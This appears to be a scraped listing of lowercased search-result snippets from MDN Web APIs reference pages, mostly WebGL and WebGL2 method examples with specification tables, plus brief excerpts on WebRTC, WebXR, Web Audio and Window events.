... opengl es 3.0the definition of 'gltexsubimage2d' in that specification.
WebGL2RenderingContext.transformFeedbackVaryings() - Web APIs
gl.createtransformfeedback(); gl.bindtransformfeedback(gl.transform_feedback, transformfeedback); var transformfeedbackoutputs = ['gl_position', 'anotheroutput']; gl.transformfeedbackvaryings(shaderprog, transformfeedbackoutputs, gl.interleaved_attribs); gl.linkprogram(shaderprog); specifications specification status comment webgl 2.0the definition of 'transformfeedbackvaryings' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gltransformfeedbackvaryings' in that specification.
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
specifications specification status comment webgl 2.0the definition of 'uniform' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gluniform' in that specification.
WebGL2RenderingContext.uniformBlockBinding() - Web APIs
examples gl.uniformblockbinding(program, 0, 1); specifications specification status comment webgl 2.0the definition of 'uniformblockbinding' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gluniformblockbinding' in that specification.
WebGL2RenderingContext.uniformMatrix[234]x[234]fv() - Web APIs
examples gl.uniformmatrix2x3fv(loc, false, [1, 2, 3, 4, 5, 6]); specifications specification status comment webgl 2.0the definition of 'uniformmatrix' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'gluniformmatrix' in that specification.
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
examples gl.vertexattribdivisor(0, 2); specifications specification status comment webgl 2.0the definition of 'vertexattribdivisor' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glvertexattribdivisor' in that specification.
WebGL2RenderingContext.vertexAttribI4[u]i[v]() - Web APIs
examples gl.vertexattribi4i(a_foobar, 10); specifications specification status comment webgl 2.0the definition of 'vertexattribi' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glvertexattribi' in that specification.
WebGL2RenderingContext.vertexAttribIPointer() - Web APIs
dices.s] * vec4(position, 1.0) * boneweights.s + bones[boneindices.t] * vec4(position, 1.0) * boneweights.t + bones[boneindices.p] * vec4(position, 1.0) * boneweights.p + bones[boneindices.q] * vec4(position, 1.0) * boneweights.q; gl_position = mvmatrix * skinnedposition; } </script> specifications specification status comment webgl 2.0the definition of 'vertexattribipointer' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glvertexattribpointer' in that specification.
WebGL2RenderingContext.waitSync() - Web APIs
examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.waitsync(sync, 0, gl.timeout_ignored); specifications specification status comment webgl 2.0the definition of 'waitsync' in that specification.
... editor's draft initial definition for webgl.
... opengl es 3.0the definition of 'glwaitsync' in that specification.
WebGLRenderingContext.activeTexture() - Web APIs
gl.activetexture(gl.texture0); gl.getparameter(gl.active_texture); // returns "33984" (0x84c0, gl.texture0 enum value) specifications specification status comment webgl 1.0the definition of 'activetexture' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glactivetexture' in that specification.
WebGLRenderingContext.attachShader() - Web APIs
\n\n' + info; } specifications specification status comment webgl 1.0the definition of 'attachshader' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glattachshader' in that specification.
WebGLRenderingContext.bindAttribLocation() - Web APIs
examples gl.bindattriblocation(program, colorlocation, 'vcolor'); specifications specification status comment webgl 1.0the definition of 'bindattriblocation' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glbindattriblocation' in that specification.
WebGLRenderingContext.bindRenderbuffer() - Web APIs
gl.getparameter(gl.renderbuffer_binding); specifications specification status comment webgl 1.0the definition of 'bindrenderbuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glbindrenderbuffer' in that specification.
WebGLRenderingContext.blendColor() - Web APIs
gl.getparameter(gl.blend_color); // float32array[0, 0.5, 1, 1] specifications specification status comment webgl 1.0the definition of 'blendcolor' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glblendcolor' in that specification.
WebGLRenderingContext.blendFunc() - Web APIs
gl.enable(gl.blend); gl.blendfunc(gl.src_color, gl.dst_color); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status comment webgl 1.0the definition of 'blendfunc' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glblendfunc' in that specification.
WebGLRenderingContext.blendFuncSeparate() - Web APIs
gl.enable(gl.blend); gl.blendfuncseparate(gl.src_color, gl.dst_color, gl.one, gl.zero); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status comment webgl 1.0the definition of 'blendfunc' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glblendfunc' in that specification.
WebGLRenderingContext.clear() - Web APIs
gl.getparameter(gl.color_clear_value); gl.getparameter(gl.depth_clear_value); gl.getparameter(gl.stencil_clear_value); specifications specification status comment webgl 1.0the definition of 'clear' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glclear' in that specification.
WebGLRenderingContext.clearColor() - Web APIs
gl.getparameter(gl.color_clear_value); // float32array[1, 0.5, 0.5, 1] specifications specification status comment webgl 1.0the definition of 'clearcolor' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glclearcolor' in that specification.
WebGLRenderingContext.clearDepth() - Web APIs
gl.getparameter(gl.depth_clear_value); // 0.5 specifications specification status comment webgl 1.0the definition of 'cleardepth' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcleardepthf' in that specification.
WebGLRenderingContext.clearStencil() - Web APIs
gl.getparameter(gl.stencil_clear_value); // 1 specifications specification status comment webgl 1.0the definition of 'clearstencil' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glclearstencil' in that specification.
WebGLRenderingContext.colorMask() - Web APIs
gl.getparameter(gl.color_writemask); // [true, true, true, false] specifications specification status comment webgl 1.0the definition of 'colormask' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcolormask' in that specification.
WebGLRenderingContext.compileShader() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, shadersource); gl.compileshader(shader); specifications specification status comment webgl 1.0the definition of 'compileshader' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcompileshader' in that specification.
WebGLRenderingContext.copyTexImage2D() - Web APIs
examples gl.copyteximage2d(gl.texture_2d, 0, gl.rgba, 0, 0, 512, 512, 0); specifications specification status comment webgl 1.0the definition of 'copyteximage2d' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcopyteximage2d' in that specification.
WebGLRenderingContext.copyTexSubImage2D() - Web APIs
examples gl.copytexsubimage2d(gl.texture_2d, 0, 0,0, 0, 0, 16, 16); specifications specification status comment webgl 1.0the definition of 'copytexsubimage2d' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcopytexsubimage2d' in that specification.
WebGLRenderingContext.createShader() - Web APIs
specifications specification status comment webgl 1.0the definition of 'createshader' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcreateshader' in that specification.
WebGLRenderingContext.cullFace() - Web APIs
gl.getparameter(gl.cull_face_mode) === gl.front_and_back; // true specifications specification status comment webgl 1.0the definition of 'cullface' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glcullface' in that specification.
WebGLRenderingContext.deleteBuffer() - Web APIs
gl.deletebuffer(buffer); specifications specification status comment webgl 1.0the definition of 'deletebuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldeletebuffers' in that specification.
WebGLRenderingContext.deleteFramebuffer() - Web APIs
gl.deleteframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'deleteframebuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldeleteframebuffers' in that specification.
WebGLRenderingContext.deleteProgram() - Web APIs
gl.deleteprogram(program); specifications specification status comment webgl 1.0the definition of 'deleteprogram' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldeleteprogram' in that specification.
WebGLRenderingContext.deleteRenderbuffer() - Web APIs
gl.deleterenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'deleterenderbuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldeleterenderbuffers' in that specification.
WebGLRenderingContext.deleteShader() - Web APIs
examples deleting a shader gl.deleteshader(shader); specifications specification status comment webgl 1.0the definition of 'deleteshader' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldeleteshader' in that specification.
WebGLRenderingContext.deleteTexture() - Web APIs
gl.deletetexture(texture); specifications specification status comment webgl 1.0the definition of 'deletetexture' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldeletetextures' in that specification.
WebGLRenderingContext.depthFunc() - Web APIs
gl.getparameter(gl.depth_func) === gl.never; // true specifications specification status comment webgl 1.0the definition of 'depthfunc' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldepthfunc' in that specification.
WebGLRenderingContext.depthMask() - Web APIs
gl.getparameter(gl.depth_writemask); // false specifications specification status comment webgl 1.0the definition of 'depthmask' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldepthmask' in that specification.
WebGLRenderingContext.depthRange() - Web APIs
examples gl.depthrange(0.2, 0.6); to check the current depth range, query the depth_range constant which returns a float32array gl.getparameter(gl.depth_range); // float32array[0.2, 0.6] specifications specification status comment webgl 1.0the definition of 'depthrange' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldepthrangef' in that specification.
WebGLRenderingContext.detachShader() - Web APIs
specifications specification status comment webgl 1.0the definition of 'detachshader' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldetachshader' in that specification.
WebGLRenderingContext.disableVertexAttribArray() - Web APIs
examples gl.disablevertexattribarray(0); specifications specification status comment webgl 1.0the definition of 'disablevertexattribarray' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldisablevertexattribarray' in that specification.
WebGLRenderingContext.drawArrays() - Web APIs
examples gl.drawarrays(gl.points, 0, 8); specifications specification status comment webgl 1.0the definition of 'drawarrays' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldrawarrays' in that specification.
WebGLRenderingContext.drawElements() - Web APIs
examples gl.drawelements(gl.points, 8, gl.unsigned_byte, 0); specifications specification status comment webgl 1.0the definition of 'drawelements' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gldrawelements' in that specification.
WebGLRenderingContext.enableVertexAttribArray() - Web APIs
specifications specification status comment webgl 1.0the definition of 'enablevertexattribarray' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glenablevertexattribarray' in that specification.
WebGLRenderingContext.finish() - Web APIs
specifications specification status comment webgl 1.0the definition of 'finish' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glfinish' in that specification.
WebGLRenderingContext.flush() - Web APIs
specifications specification status comment webgl 1.0the definition of 'flush' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glflush' in that specification.
WebGLRenderingContext.frontFace() - Web APIs
examples gl.frontface(gl.cw); specifications specification status comment webgl 1.0the definition of 'frontface' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glfrontface' in that specification.
WebGLRenderingContext.getActiveAttrib() - Web APIs
examples const numattribs = gl.getprogramparameter(program, gl.active_attributes); for (let i = 0; i < numattribs; ++i) { const info = gl.getactiveattrib(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveattrib' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetactiveattrib' in that specification.
WebGLRenderingContext.getActiveUniform() - Web APIs
examples const numuniforms = gl.getprogramparameter(program, gl.active_uniforms); for (let i = 0; i < numuniforms; ++i) { const info = gl.getactiveuniform(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveuniform' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetactiveuniform' in that specification.
WebGLRenderingContext.getAttachedShaders() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getattachedshaders(program); specifications specification status comment webgl 1.0the definition of 'getattachedshaders' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetattachedshaders' in that specification.
WebGLRenderingContext.getAttribLocation() - Web APIs
examples gl.getattriblocation(program, 'vcolor'); specifications specification status comment webgl 1.0the definition of 'getattriblocation' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetattriblocation' in that specification.
WebGLRenderingContext.getError() - Web APIs
examples gl.geterror(); // gl.no_error (0) gl.enable(gl.foobar); gl.geterror(); // gl.invalid_enum; specifications specification status comment webgl 1.0the definition of 'geterror' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgeterror' in that specification.
WebGLRenderingContext.getShaderParameter() - Web APIs
examples gl.getshaderparameter(shader, gl.shader_type); specifications specification status comment webgl 1.0the definition of 'getshaderparameter' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetshaderiv' in that specification.
WebGLRenderingContext.getShaderPrecisionFormat() - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float); // webglshaderprecisionformat { rangemin: 127, rangemax: 127, precision: 23 } specifications specification status comment webgl 1.0the definition of 'getshaderprecisionformat' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetshaderprecisionformat' in that specification.
WebGLRenderingContext.getShaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'getshadersource' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetshadersource' in that specification.
WebGLRenderingContext.getUniformLocation() - Web APIs
specifications specification status comment webgl 1.0the definition of 'getuniformlocation' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetuniformlocation' in that specification.
WebGLRenderingContext.getVertexAttribOffset() - Web APIs
examples gl.getvertexattriboffset(i, gl.vertex_attrib_array_pointer); specifications specification status comment webgl 1.0the definition of 'getvertexattriboffset' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glgetvertexattribpointerv' in that specification.
WebGLRenderingContext.hint() - Web APIs
gl.hint(gl.generate_mipmap_hint, gl.fastest); specifications specification status comment webgl 1.0the definition of 'hint' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glhint' in that specification.
WebGLRenderingContext.isBuffer() - Web APIs
examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); gl.isbuffer(buffer); specifications specification status comment webgl 1.0the definition of 'isbuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glisbuffer' in that specification.
WebGLRenderingContext.isFramebuffer() - Web APIs
examples checking a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); gl.isframebuffer(framebuffer); specifications specification status comment webgl 1.0the definition of 'isframebuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glisframebuffer' in that specification.
WebGLRenderingContext.isProgram() - Web APIs
gl.isprogram(program); specifications specification status comment webgl 1.0the definition of 'isprogram' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glisprogram' in that specification.
WebGLRenderingContext.isRenderbuffer() - Web APIs
examples checking a renderbuffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var renderbuffer = gl.createrenderbuffer(); gl.isrenderbuffer(renderbuffer); specifications specification status comment webgl 1.0the definition of 'isrenderbuffer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glisrenderbuffer' in that specification.
WebGLRenderingContext.isShader() - Web APIs
gl.isshader(shader); specifications specification status comment webgl 1.0the definition of 'isshader' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glisshader' in that specification.
WebGLRenderingContext.isTexture() - Web APIs
examples checking a texture var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var texture = gl.createtexture(); gl.istexture(texture); specifications specification status comment webgl 1.0the definition of 'istexture' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glistexture' in that specification.
WebGLRenderingContext.lineWidth() - Web APIs
gl.getparameter(gl.aliased_line_width_range); specifications specification status comment webgl 1.0the definition of 'linewidth' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gllinewidth' in that specification.
WebGLRenderingContext.linkProgram() - Web APIs
\n\n' + info); } specifications specification status comment webgl 1.0the definition of 'linkprogram' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gllinkprogram' in that specification.
WebGLRenderingContext.polygonOffset() - Web APIs
gl.getparameter(gl.polygon_offset_factor); // 2 gl.getparameter(gl.polygon_offset_units); // 3 specifications specification status comment webgl 1.0the definition of 'polygonoffset' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glpolygonoffset' in that specification.
WebGLRenderingContext.readPixels() - Web APIs
xamples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var pixels = new uint8array(gl.drawingbufferwidth * gl.drawingbufferheight * 4); gl.readpixels(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight, gl.rgba, gl.unsigned_byte, pixels); console.log(pixels); // uint8array specifications specification status comment webgl 1.0the definition of 'readpixels' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glreadpixels' in that specification.
WebGLRenderingContext.sampleCoverage() - Web APIs
gl.getparameter(gl.sample_coverage_value); // 0.5 gl.getparameter(gl.sample_coverage_invert); // false specifications specification status comment webgl 1.0the definition of 'samplecoverage' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glsamplecoverage' in that specification.
WebGLRenderingContext.scissor() - Web APIs
gl.scissor(0, 0, 200, 200); gl.getparameter(gl.scissor_box); // int32array[0, 0, 200, 200] specifications specification status comment webgl 1.0the definition of 'scissor' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glscissor' in that specification.
WebGLRenderingContext.shaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'shadersource' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glshadersource' in that specification.
WebGLRenderingContext.stencilFunc() - Web APIs
gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_back_func); gl.getparameter(gl.stencil_back_value_mask); gl.getparameter(gl.stencil_back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfunc' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glstencilfunc' in that specification.
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
gl.getparameter(gl.stencil_func); gl.getparameter(gl.stencil_value_mask); gl.getparameter(gl.stencil_ref); gl.getparameter(gl.stencil_back_func); gl.getparameter(gl.stencil_back_value_mask); gl.getparameter(gl.stencil_back_ref); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilfuncseparate' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glstencilfuncseparate' in that specification.
WebGLRenderingContext.stencilMask() - Web APIs
gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmask' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glstencilmask' in that specification.
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
gl.getparameter(gl.stencil_writemask); // 110101 gl.getparameter(gl.stencil_back_writemask); // 110101 gl.getparameter(gl.stencil_bits); // 0 specifications specification status comment webgl 1.0the definition of 'stencilmaskseparate' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glstencilmaskseparate' in that specification.
WebGLRenderingContext.stencilOp() - Web APIs
gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_back_fail); gl.getparameter(gl.stencil_back_pass_depth_pass); gl.getparameter(gl.stencil_back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilop' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glstencilop' in that specification.
WebGLRenderingContext.stencilOpSeparate() - Web APIs
gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_back_fail); gl.getparameter(gl.stencil_back_pass_depth_pass); gl.getparameter(gl.stencil_back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilopseparate' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glstencilopseparate' in that specification.
WebGLRenderingContext.uniformMatrix[234]fv() - Web APIs
return value undefined examples gl.uniformmatrix2fv(loc, false, [2,1, 2,2]); specifications specification status comment webgl 1.0the definition of 'uniformmatrix' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gluniform' in that specification.
WebGLRenderingContext.useProgram() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'useprogram' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'gluseprogram' in that specification.
WebGLRenderingContext.validateProgram() - Web APIs
\n\n' + info; } gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'validateprogram' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glvalidateprogram' in that specification.
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
he following 3x3 matrix into attribute named "matrix3x3" // 0 1 2 // 3 4 5 // 6 7 8 const matrix3x3location = gl.getattriblocation(shaderprogram, 'matrix3x3'); gl.vertexattrib3f(matrix3x3location, 0, 3, 6); gl.vertexattrib3f(matrix3x3location + 1, 1, 4, 7); gl.vertexattrib3f(matrix3x3location + 2, 2, 5, 8); specifications specification status comment webgl 1.0the definition of 'vertexattrib' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glvertexattrib' in that specification.
WebGLRenderingContext.vertexAttribPointer() - Web APIs
attriblocation(shaderprogram, 'normal'); gl.vertexattribpointer(locnormal, 4, gl.byte, true, 20, 12); gl.enablevertexattribarray(locnormal); const loctexuv = gl.getattriblocation(shaderprogram, 'texuv'); gl.vertexattribpointer(loctexuv, 2, gl.unsigned_short, true, 20, 16); gl.enablevertexattribarray(loctexuv); specifications specification status comment webgl 1.0the definition of 'vertexattribpointer' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glvertexattribpointer' in that specification.
WebGLRenderingContext.viewport() - Web APIs
int32array[0, 0, 640, 480] specifications specification status comment webgl 1.0the definition of 'viewport' in that specification.
... recommendation initial definition.
... opengl es 2.0the definition of 'glviewport' in that specification.
A basic 2D WebGL animation example - Web APIs
</canvas> javascript globals and initialization first, the global variables.
... let uscalingfactor; let uglobalcolor; let urotationvector; let avertexposition; // animation timing let previoustime = 0.0; let degreespersecond = 90.0; initializing the program is handled through a load event handler called startup(): window.addeventlistener("load", startup, false); function startup() { glcanvas = document.getelementbyid("glcanvas"); gl = glcanvas.getcontext("webgl"); const shaderset = [ { type: gl.vertex_shader, id: "vertex-shader" }, { type: gl.fragment_shader, id: "fragment-shader" ...
...then the value of previoustime is updated and we call animatescene() to draw the next frame (and in turn schedule the next frame to be drawn, ad infinitum).
Boilerplate 1 - Web APIs
« previousnext » this example describes repeated pieces of code that will be hidden from now on, as well as defining a javascript utility function to make webgl initialization easier.
... in following examples, we will use a javascript helper function, getrenderingcontext(), to initialize the webgl rendering context.
...basically, it gets the webgl rendering context from the canvas element, initializes the drawing buffer, clears it black, and returns the initialized context.
Getting started with WebGL - Web APIs
// // start here // function main() { const canvas = document.queryselector("#glcanvas"); // initialize the gl context const gl = canvas.getcontext("webgl"); // only continue if webgl is available and working if (gl === null) { alert("unable to initialize webgl.
... if the context is successfully initialized, the variable gl is our reference to it.
... at this point, you have enough code that the webgl context should successfully initialize, and you should wind up with a big black, empty box, ready and waiting to receive content.
Using textures in WebGL - Web APIs
the code that loads the texture looks like this: // // initialize a texture and load an image.
...this can be added after the initbuffers(gl) call.
...this replaces all the previously existing code for configuring colors for each of the cube's faces in initbuffers().
WebGL types - Web APIs
WebAPIWebGL APITypes
specifications specification status comment webgl 1.0the definition of 'types' in that specification.
... recommendation initial definition webgl 2.0the definition of 'types' in that specification.
... ext_disjoint_timer_querythe definition of 'gluint64ext' in that specification.
WebGL model view projection - Web APIs
homogeneoustocartesian([10, 4, 5, 0]); this evaluates to: [infinity, infinity, infinity].
... this homogeneous coordinate represents some point at infinity.
...the viewable area is a four-sided pyramid with its peak at the lens, its four sides corresponding to the extents of its peripheral vision range, and its base at the farthest distance it can see, like this: if we simply used this to determine the polygons to be rendered each frame, our renderer would need to render every polygon within this pyramid, all the way off into infinity, including also polygons that are very close to the lens—likely too close to be useful (and certainly including things that are so close that a real human wouldn't be able to focus on them in the same setting).
Signaling and video calling - Web APIs
exchanging session descriptions when starting the signaling process, an offer is created by the user initiating the call.
...this is done in hopes of identifying even better options than the one initially selected.
... if an error occurs, either in the initial createoffer() or in any of the fulfillment handlers that follow, an error is reported by invoking our reporterror() function.
Using DTMF with WebRTC - Web APIs
these will be initialized when the call starts up, in our connectanddial() function, as shown in starting the connection process below.
...see initialization below.
... initialization when the page loads, we do some basic setup: we fetch references to the dial button and the log output box elements, and we use addeventlistener() to add an event listener to the dial button so that clicking it calls the connectanddial() function to begin the connection process.
WebRTC API - Web APIs
ound nat (turn) uniform resource identifiers an offer/answer model with session description protocol (sdp) session traversal utilities for nat (stun) extension for third party authorization webrtc statistics webrtc statistics api specifications specification status comment webrtc 1.0: real-time communication between browsers candidate recommendation the initial definition of the api of webrtc.
... media capture and streams candidate recommendation the initial definition of the object conveying the stream of media content.
... media capture from dom elements working draft the initial definition on how to obtain stream of content from dom elements in additions to these specifications defining the api needed to use webrtc, there are several protocols, listed under resources.
Using bounded reference spaces - Web APIs
note that if the underlying platform defines a fixed room-scale origin and boundary, it may initialize any uninitialized values to match that predefined information; this is not unexpected behavior for users of these platforms.
...each vertex in the array has a y coordinate of 0 since the entire boundary is defined at floor level, extending upward to the ceiling or indefinitely.
...this approximates human height, though it assumes we've previously transformed the coordinate system so that the value of each coordinate is no longer constrained to -1 to 1, while maintaining the definition that a value of 1 represents one meter).
Geometry and reference spaces in WebXR - Web APIs
the origin offset is initially simply an identity transform, since typically the two origins are aligned when the space is first established.
...specifically, under the initial starting conditions, with the default orientation of the viewer upon the space: the x-axis extends horizontally from left to right away from the origin, with the x coordinate of +1.0 being located at the right edge of the world.
...one of its optional parameters is an object conforming to the xrsessioninit dictionary which you can use to specify required and/or optional features that the session must (or should ideally) support.
Web Audio API - Web APIs
general audio graph definition general containers and definitions that shape audio graphs in web audio api usage.
... baseaudiocontext the baseaudiocontext interface acts as a base definition for online and offline audio-processing graphs, as represented by audiocontext and offlineaudiocontext respectively.
... iirfilternode implements a general infinite impulse response (iir) filter; this type of filter can be used to implement tone control devices and graphic equalizers as well.
Web Authentication API - Web APIs
the registration steps are: application requests registration - the application makes the initial registration request.
... application requests authentication - the application makes the initial authentication request.
... webauthn.org and its client source code and server source code specifications specification status comment web authentication: an api for accessing public key credentials level 1 recommendation initial definition.
Using the Web Speech API - Web APIs
speech recognition speech recognition involves receiving speech through a device's microphone, which is then checked by a speech recognition service against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) when a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result.
... you can have as many terms defined as you want on separate lines following the above structure, and include fairly complex grammar definitions.
...the <select> element is initially empty, but is populated with <option>s via javascript (see later on.) <h1>speech synthesiser</h1> <p>enter some text in the input below and press return to hear it.
WheelEvent - Web APIs
specifications specification status comment ui eventsthe definition of 'the wheelevent interface' in that specification.
... working draft document object model (dom) level 3 events specificationthe definition of 'wheelevent' in that specification.
... obsolete initial definition.
Window: beforeunload event - Web APIs
event.returnvalue = ''; }); specifications specification status comment html living standardthe definition of 'beforeunload' in that specification.
... living standard html5the definition of 'beforeunload' in that specification.
... recommendation initial definition ...
Window.getComputedStyle() - Web APIs
specifications specification status comment css object model (cssom)the definition of 'getcomputedstyle()' in that specification.
... working draft document object model (dom) level 2 style specificationthe definition of 'getcomputedstyle()' in that specification.
... obsolete initial definition ...
Window: pagehide event - Web APIs
/* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the onpagehide event handler property on the window: window.onpagehide = event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } } specifications specification status comment html living standardthe definition of 'pagehide' in that specification.
... living standard initial specification.
... html5the definition of 'pagehide' in that specification.
Window.screenLeft - Web APIs
WebAPIWindowscreenLeft
initialleft = window.screenleft + canvaselem.offsetleft; initialtop = window.screentop + canvaselem.offsettop; function positionelem() { let newleft = window.screenleft + canvaselem.offsetleft; let newtop = window.screentop + canvaselem.offsettop; let leftupdate = initialleft - newleft; let topupdate = initialtop - newtop; ctx.fillstyle = 'rgb(0, 0, 0)'; ctx.fillrect(0, 0, width, height...
... if(!window.screenleft) { window.screenleft = window.screenx; window.screentop = window.screeny; } specifications specification status comment css object model (cssom) view modulethe definition of 'window.screenleft' in that specification.
... working draft initial definition.
Window.screenTop - Web APIs
